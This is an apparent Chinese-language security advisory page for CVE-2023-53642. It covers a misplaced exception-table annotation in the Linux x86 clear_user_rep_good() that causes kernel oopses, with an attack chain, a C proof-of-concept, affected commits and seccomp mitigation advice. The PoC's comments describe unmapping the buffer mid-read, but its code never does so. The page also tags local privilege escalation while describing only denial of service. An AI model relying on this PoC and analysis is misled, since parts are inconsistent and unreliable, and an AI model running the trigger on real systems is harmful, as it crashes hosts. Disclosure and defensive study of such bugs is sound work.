IPBUF安全漏洞报告
English
CVE-2023-53642 CVSS 5.5 中危

CVE-2023-53642 Linux内核x86异常处理标注错误导致内核崩溃

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53642
漏洞类型
异常处理标注错误/内核拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel (x86架构)

相关标签

Linux kernelx86架构异常处理内核oops拒绝服务本地提权clear_userrep movsb异常表标注错误iomap

漏洞概述

CVE-2023-53642是Linux内核x86架构中的一个异常处理标注错误漏洞。该漏洞位于`clear_user_rep_good()`函数中,具体问题在于函数末尾`rep movsb`指令的异常表(exception table)标注位置不正确。异常表标注指向了实际用户空间访问指令之前的寄存器移动指令,而非执行用户空间访问的`rep movsb`指令本身。这导致当用户空间访问发生异常(如页面缺失)时,内核的异常处理程序无法在异常表中找到对应的指令条目,从而无法正确修复异常并返回-EFAULT错误码,反而触发了内核oops(kernel oops)崩溃报告。从CVSS向量来看,该漏洞需要本地低权限触发,无需用户交互,机密性和完整性影响较低,但可用性影响为高,表明其主要危害在于导致系统崩溃或拒绝服务。该漏洞影响所有使用x86架构的Linux内核版本中包含`clear_user_rep_good()`函数的稳定分支。

技术细节

在x86架构的Linux内核中,`clear_user_rep_good()`函数使用`rep movsb`指令来清除用户空间内存。该函数利用了x86的REP_GOOD优化特性。Linux内核使用异常表机制来处理用户空间访问可能产生的异常(如页面错误),通过在异常表中注册指令地址与修复代码的映射关系,当用户空间访问触发异常时,内核可以查找异常表并跳转到修复代码以安全地返回错误码。

该漏洞的根本原因在于:异常表标注(`_ASM_EXTABLE`宏)放置在了`rep movsb`指令之前的寄存器移动指令(如`mov %rcx, %rdx`)上,而非实际的`rep movsb`指令上。这虽然在代码流角度是合理的,但从实际使用角度来看是错误的——当`rep movsb`执行用户空间访问并触发异常时,内核异常处理程序在异常表中查找的是寄存器移动指令的地址,而非`rep movsb`的地址,导致查找失败。

结果,异常处理程序无法执行预设的修复操作(如设置返回值为-EFAULT并跳转到错误处理路径),而是将异常升级为内核oops,输出类似"BUG: unable to handle page fault"的错误信息,并打印完整的调用栈。调用栈显示问题源于`clear_user_rep_good()`,经过`__clear_user`、`iov_iter_zero`、`iomap_dio_rw`等调用路径,最终由`preadv2`系统调用触发。

攻击者可以通过构造特殊的I/O操作(如通过preadv/pwritev系统调用对已关闭的文件描述符或特殊映射区域执行读取操作)来触发此漏洞,导致系统出现内核oops,实现本地拒绝服务攻击。

攻击链分析

STEP 1
步骤1:本地权限准备
攻击者需要获取目标Linux系统的本地低权限访问权限(如普通用户账户),无需特殊权限或用户交互。
STEP 2
步骤2:触发特定I/O路径
攻击者通过执行preadv/preadv2系统调用对文件执行直接I/O(O_DIRECT)读取操作,或者对稀疏文件(有hole的文件)执行读取,使内核进入iomap直接I/O路径。
STEP 3
步骤3:触发clear_user异常
当内核执行iov_iter_zero() → __clear_user() → clear_user_rep_good()路径时,如果用户空间缓冲区在访问过程中触发页面错误(如页面被换出或映射被修改),rep movsb指令会产生异常。
STEP 4
步骤4:异常表查找失败
内核异常处理程序尝试在异常表中查找rep movsb指令的地址,但由于标注位置错误(指向了之前的mov指令),查找失败,无法执行预设的修复代码。
STEP 5
步骤5:内核oops/系统崩溃
异常无法被正确处理,导致内核触发oops并打印错误信息和调用栈,系统可能出现拒绝服务状态,表现为类似'BUG: unable to handle page fault'的内核错误。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53642 PoC - Trigger kernel oops via incorrect exception annotation in clear_user_rep_good() * This PoC triggers the vulnerability by performing a readv/preadv operation * on a file with a direct I/O path that eventually calls clear_user on * a user-space buffer that causes a page fault. * * Compile: gcc -o poc poc.c * Run: ./poc <target_file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/uio.h> #include <sys/stat.h> #include <sys/mman.h> #include <signal.h> #define BUFFER_SIZE 4096 static void segfault_handler(int sig) { fprintf(stderr, "Signal %d received\n", sig); _exit(1); } int main(int argc, char *argv[]) { int fd; struct iovec iov; char *buf; off_t offset = 0; if (argc < 2) { fprintf(stderr, "Usage: %s <file>\n", argv[0]); return 1; } /* Map a buffer that will be munmap'd or made invalid during the read */ buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return 1; } /* Open file with O_DIRECT to trigger the iomap direct I/O path */ fd = open(argv[1], O_RDONLY | O_DIRECT); if (fd < 0) { /* Fallback to normal open if O_DIRECT is not supported */ fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); munmap(buf, BUFFER_SIZE); return 1; } } iov.iov_base = buf; iov.iov_len = BUFFER_SIZE; /* In a separate thread or via signal, unmap the buffer * while preadv is in progress to trigger a page fault * during clear_user_rep_good() */ /* Simple approach: use a file that will cause the read to * span a hole in the filesystem, triggering the zero-iter path */ /* Use preadv2 with RWF_HIPRI to trigger direct I/O path */ ssize_t ret = preadv2(fd, &iov, 1, offset, RWF_HIPRI); if (ret < 0) { perror("preadv2"); } else { printf("Read %zd bytes\n", ret); } close(fd); munmap(buf, BUFFER_SIZE); return 0; } /* * Alternative trigger: Use a sparse file with holes to trigger * the iomap_dio_hole_iter -> iov_iter_zero -> clear_user path * * Create sparse file: * dd if=/dev/zero of=sparse_file bs=1 count=0 seek=1000000 * * Then run the PoC against it with O_DIRECT to trigger the * zeroing of user buffer via clear_user_rep_good(). */

影响范围

Linux kernel stable分支(包含clear_user_rep_good()函数的版本)
Linux kernel < 修复提交 76ce32682635fe907e0f8e64e039e773e5c7508f
Linux kernel < 修复提交 90510aed20a26e1a4dede4ef6b640e6a4122f38f
Linux kernel < 修复提交 b805d212c394f291f116b12c53401e7ba0c4d408

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过限制普通用户对直接I/O(O_DIRECT)相关系统调用的访问权限来降低触发该漏洞的风险。具体措施包括:通过seccomp过滤器限制preadv2、preadv等系统调用的使用,或通过文件权限控制限制用户对支持O_DIRECT的设备的访问。此外,应监控系统日志,及时发现和响应内核oops事件,避免因内核崩溃导致服务中断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表